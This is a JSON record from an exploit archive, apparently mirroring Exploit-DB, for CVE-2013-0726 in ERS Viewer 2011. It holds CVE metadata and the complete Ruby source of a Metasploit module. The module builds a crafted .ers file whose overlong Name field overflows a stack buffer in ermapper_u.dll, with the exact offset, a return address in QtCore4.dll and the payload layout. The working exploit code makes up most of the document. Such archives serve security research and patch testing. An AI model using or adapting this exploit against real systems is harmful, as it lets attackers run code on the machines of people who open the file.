{"exploit":{"id":"EDB-25448","name":"ERS Viewer 2011 - '.ERS' File Handling Buffer Overflow (Metasploit)","description":"ERS Viewer 2011 - '.ERS' File Handling Buffer Overflow (Metasploit)","cves":["CVE-2013-0726"],"author":"Metasploit","published":"2013-05-14","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/25448","path":"exploits/windows/local/25448.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-25448.rb","vulnerabilities":[{"id":"CVE-2013-0726","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the ERM_convert_to_correct_webpath function in ermapper_u.dll in ERDAS ER Viewer before 13.00.0001 allows remote attackers to execute arbitrary code via a crafted pathname in an ERS file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-0726","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-0726"},"updatedAt":"2024-09-16T20:31:59.328Z","retrievedAt":"2026-11-27T16:11:12.151Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-25448.png?v=2","url":"https://exploitbin.com/exploits/EDB-25448","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-25448/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-25448/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::FILEFORMAT\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"ERS Viewer 2011 ERS File Handling Buffer Overflow\",\n      'Description'    => %q{\n          This module exploits a buffer overflow vulnerability found in ERS Viewer 2011\n        (version 11.04). The vulnerability exists in the module ermapper_u.dll where the\n        function ERM_convert_to_correct_webpath handles user provided data in a insecure\n        way. It results in arbitrary code execution under the context of the user viewing\n        a specially crafted .ers file. This module has been tested successfully with ERS\n        Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Parvez Anwar', # Vulnerability Discovery\n          'juan vazquez' # Metasploit\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2013-0726' ],\n          [ 'OSVDB', '92694' ],\n          [ 'BID', '59379' ],\n          [ 'URL', 'http://secunia.com/advisories/51725/' ]\n        ],\n      'Payload'        =>\n        {\n          'Space'    => 7516,\n          'BadChars' => \"\\x22\\x5c\" +\n            (0x7f..0xff).to_a.pack(\"C*\") +\n            (0x00..0x08).to_a.pack(\"C*\") +\n            (0x0a..0x1f).to_a.pack(\"C*\"),\n          'DisableNops' => true,\n          'EncoderOptions' =>\n            {\n              'BufferRegister' => 'ESP'\n            }\n        },\n      'SaveRegisters'  => [ 'ESP' ],\n      'DefaultOptions'  =>\n        {\n          'ExitFunction' => \"process\",\n        },\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'ERS Viewer 2011 (v11.04)  / Windows XP SP3 / Windows 7 SP1',\n            {\n              'Offset' => 260,\n              'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll\n            }\n          ],\n        ],\n      'Privileged'     => false,\n      'DisclosureDate' => \"Apr 23 2013\",\n      'DefaultTarget'  => 0))\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),\n      ], self.class)\n\n  end\n\n  # Rewrote it because make_nops is ignoring SaveRegisters\n  # and corrupting ESP.\n  def make_nops(count)\n    return \"\\x43\" * count # 0x43 => inc ebx\n  end\n\n  def exploit\n\n    buf = rand_text(target['Offset'])\n    buf << [target.ret].pack(\"V\")\n    buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode\n    buf << payload.encoded\n\n    ers = %Q|\nDatasetHeader Begin\n  Name    = \"#{buf}\"\nDatasetHeader End\n    |\n\n    file_create(ers)\n  end\nend","sha256":"80d1fc067d7efe93c1726c6d7bdadf1b254798f5b8f2c6a0d9343a0af021f120","bytes":2951,"fetchedAt":"2026-11-27T16:11:11.090Z","encoding":"utf-8 (display only; download retains original bytes)"}